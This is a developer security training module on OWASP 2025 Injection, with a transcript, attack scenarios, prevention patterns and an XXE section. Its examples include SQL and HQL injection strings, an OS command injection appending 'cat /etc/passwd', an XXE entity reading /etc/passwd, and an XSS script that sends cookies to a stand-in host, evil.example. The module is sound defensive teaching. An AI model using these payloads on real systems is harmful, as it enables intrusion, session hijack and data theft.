Loading module...

Injection | Top 10 Dev Training

OWASP-05

Injection

Injection flaws occur when untrusted data is sent to an interpreter as part of a command or query.

Audio overview (optional)

AI-generated summary. The Read tab has the full written content, which is the primary source and what the quiz is based on.

Transcript

Injection was the number one category on the OWASP list for over a decade. In 2025 it sits at number five. That movement isn't because injection is solved. It's because parameterized queries, ORMs, and framework-level escaping have genuinely reduced the prevalence of the classic failures. But injection still covers the largest family of CWEs in the Top 10, with thirty seven distinct weakness categories grouped under it, and more real-world CVEs than any other category. Cross-site scripting alone accounts for over thirty thousand CVEs. SQL injection, fourteen thousand.

So let's talk about what injection actually is, why it still matters, and the newer frontier that's emerging.

At its core, an injection vulnerability occurs when untrusted input reaches an interpreter and the interpreter treats part of that input as instructions rather than data. That interpreter can be a database query engine, the operating system shell, a browser rendering HTML, an LDAP directory, or a template engine. The pattern is universal even when the target technology changes.

The classic case is SQL injection. A Java application builds a query by concatenating a user-supplied value directly into the query string. An attacker supplies a specially-crafted value like "or one equals one," which turns the query into one that matches every record in the table. Instead of seeing their own account, the attacker sees everyone's. More dangerous variants modify data, delete records, or invoke stored procedures that give the attacker administrative control over the database.

ORM injection is a close cousin. Hibernate's query language, HQL, has fewer dangerous functions than raw SQL, but it still allows unauthorized data access when user input is concatenated into query strings. Blind trust in frameworks is a common failure mode. The ORM isn't the security control. The parameterization is.

OS command injection is equally dangerous and often worse. An application passes user input to a shell command. The user appends a semicolon and a second command, like cat of the etc-passwd file. The application runs both, because that's what shells do. An attacker gains access to sensitive system files or a shell.

And there are many more flavors: NoSQL injection against MongoDB-style databases, LDAP injection against directory services, expression language injection, OGNL injection, template injection. Each has a different payload but the same root cause.

Cross-site scripting, or XSS, is its own huge family inside the injection category. Untrusted content reaches the browser's HTML parser, and the browser executes the injected script in the context of the victim's session. Thirty thousand CVEs and counting.

Now, the newest frontier. Prompt injection into large language models. When an application forwards user input into a prompt for ChatGPT, Claude, or Gemini, the user can attempt to rewrite the prompt's instructions, exfiltrate other users' data, or cause the model to execute actions the application didn't intend. It's not yet its own OWASP Top 10 category, but it shares the family tree: untrusted content reaching an interpreter, and the interpreter treating it as instructions. OWASP now maintains a separate Top 10 specifically for LLM applications, and prompt injection is at the top of that list too.

So how do you defend against the injection family? A few patterns that apply across every variant.

First, parameterize everything. Prepared statements with bound parameters for SQL. Parameterized interfaces for ORMs. Never build a query by string concatenation. The interpreter needs to know which parts are commands and which are data. Parameterization is how you tell it.

Second, use safe APIs. Avoid the interpreter entirely where you can. Send data through an ORM or a high-level query builder instead of writing raw queries.

Third, validate input on the server. Positive validation, not blacklists. Define what's allowed and reject everything else. This isn't a complete defense on its own, but it reduces the attack surface.

Fourth, for outputs, use context-aware escaping. HTML context, JavaScript context, URL context, and CSS context each require different escaping rules. Your template engine usually gets this right by default, but only if you let it do the work.

And for LLM inputs, treat user content as data within the prompt, not instructions to the model. Quote or delimit user content clearly. Use structured prompts that make the trust boundary explicit.

Injection moved down the list because the obvious defenses have become widespread. The category is still there because the variants keep multiplying. Parameterize, validate, and escape. The rules don't change. Only the interpreters do.

Quiz & Certification

Training content is freely available. Sign in and get a training credit to take quizzes, track progress, and generate compliance reports.

Attestation not yet available

Complete and pass every module quiz in this course to unlock the final attestation. Once all modules are done, this tab will open for signing.

A05:2025 - Injection

Overview

An injection vulnerability allows untrusted user input to be sent to an interpreter (browser, database, command line) and causes the interpreter to execute parts of that input as commands.

Impact: 100% of applications tested for some form of injection. Greatest number of CVEs for any category with 37 CWEs. Includes Cross-site Scripting (30k+ CVEs) and SQL Injection (14k+ CVEs).

Common Vulnerabilities

Lack of Input Validation

User-supplied data is not validated, filtered, or sanitized by the application.

Dynamic Queries Without Parameterization

Dynamic queries or non-parameterized calls without context-aware escaping used directly in the interpreter.

ORM Injection

Unsanitized data used within Object-Relational Mapping (ORM) search parameters to extract additional sensitive records.

Command Concatenation

Hostile data directly used or concatenated - SQL or command contains structure and malicious data in dynamic queries, commands, or stored procedures.

Common Injection Types

SQL Injection
NoSQL Injection
OS Command Injection
LDAP Injection
Expression Language (EL) Injection
Object Graph Navigation Library (OGNL) Injection
Cross-site Scripting (XSS)

Real-World Attack Scenarios

Scenario 1: SQL Injection

An application uses untrusted data in SQL query construction:

String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";

An attacker modifies the id parameter to:

' OR '1'='1

Resulting URL:

http://example.com/app/accountView?id=' OR '1'='1

Impact: Query returns all records from accounts table. More dangerous attacks could modify/delete data or invoke stored procedures.

Scenario 2: ORM Injection (Hibernate HQL)

Blind trust in frameworks may result in vulnerable queries:

Query HQLQuery = session.createQuery("FROM accounts WHERE custID='" + request.getParameter("id") + "'");

Attacker supplies:

' OR custID IS NOT NULL OR custID='

Impact: Bypasses filter and returns all accounts. While HQL has fewer dangerous functions than raw SQL, it still allows unauthorized data access when user input is concatenated.

Scenario 3: OS Command Injection

Application passes user input directly to OS command:

String cmd = "nslookup " + request.getParameter("domain");
Runtime.getRuntime().exec(cmd);

Attacker supplies:

example.com; cat /etc/passwd

Impact: Executes arbitrary commands on the server, potentially exposing sensitive system files or gaining shell access.

Scenario 4: Stored Cross-Site Scripting (XSS)

A social application lets users set a free-text "bio" on their profile. The server stores the bio as-is and the profile page renders it directly into HTML without escaping:

<!-- vulnerable template -->
<div class="bio">{{ user.bio | safe }}</div>

A malicious user sets their bio to:

<script>document.location='https://evil.example/steal?c='+document.cookie</script>

When any other user views that profile, the browser executes the injected script in the context of the victim's session. The script reads document.cookie and sends it to the attacker, who replays the session cookie to impersonate the victim.

Impact: Session hijack, credential theft, account takeover at scale (every viewer of the malicious profile is a victim). The fix is to escape output by default: render user-supplied text as text, not as HTML. Frameworks that auto-escape templates (React JSX, Django templates, Rails ERB with <%= %>) make this the default; bypasses like dangerouslySetInnerHTML, | safe, or html_safe should be rare and audited.

How to Prevent

Use Safe APIs

The preferred option is to use a safe API that:

Avoids using the interpreter entirely
Provides a parameterized interface
Migrates to Object Relational Mapping Tools (ORMs)

Warning: Even parameterized stored procedures can introduce SQL injection if PL/SQL or T-SQL concatenates queries and data or executes hostile data with EXECUTE IMMEDIATE or exec().

Parameterized Queries

Always use parameterized queries (prepared statements):

// Safe - parameterized query
String query = "SELECT * FROM accounts WHERE custID = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, request.getParameter("id"));
ResultSet results = pstmt.executeQuery();

Input Validation

Use positive server-side input validation:

Whitelist allowed characters
Validate data types, lengths, ranges
Note: Not a complete defense as many applications require special characters

Escape Special Characters

For residual dynamic queries, escape special characters using interpreter-specific escape syntax.

Warning: SQL structures like table names and column names cannot be escaped - user-supplied structure names are dangerous (common issue in report-writing software).

Additional Controls

Use LIMIT and other SQL controls to prevent mass disclosure
Implement least privilege for database accounts
Use stored procedures with parameterized inputs

Detection Methods

Source code review
Automated testing (including fuzzing) of all parameters, headers, URLs, cookies, JSON, SOAP, XML data inputs
Static (SAST), Dynamic (DAST), and Interactive (IAST) application security testing in CI/CD pipeline

LLM Prompt Injection

A related class of injection vulnerabilities has become common in Large Language Models (LLMs). See OWASP LLM Top 10: LLM01:2025 Prompt Injection.

XXE (XML External Entity) Injection

When an XML parser resolves external entities declared in untrusted XML input, an attacker who controls any XML fed to the parser can make the server read local files, make outbound network requests (a form of SSRF), or in some parsers execute code.

Vulnerable pattern (Java, default DocumentBuilderFactory):

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(userSuppliedXmlStream);

Attacker input:

<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<root>&xxe;</root>

On parsing, the server resolves the &xxe; entity, reads /etc/passwd, and places its contents in the parsed document node. Wherever that node is subsequently rendered or returned, the file contents leak.

Mitigation: disable DTD processing and external entity resolution on every XML parser:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setXIncludeAware(false);

Prefer formats that don't have this failure mode in the first place (e.g., JSON) for any new inter-service protocol.

Why this also appears under A02 Security Misconfiguration: OWASP 2025 catalogs XXE under A02 because the root cause is a misconfigured XML parser: the library ships with external-entity resolution enabled and the application never turned it off. Mechanically, the attack itself is injection-shaped: untrusted input drives the parser to take an unintended action. The two modules cover the same vulnerability from the two angles a developer encounters it: "my parser shouldn't be resolving external entities at all" (A02) and "my input channel accepts untrusted XML" (A05).

Additional Resources

Content adapted from OWASP Top 10:2025, licensed under CC BY-SA 4.0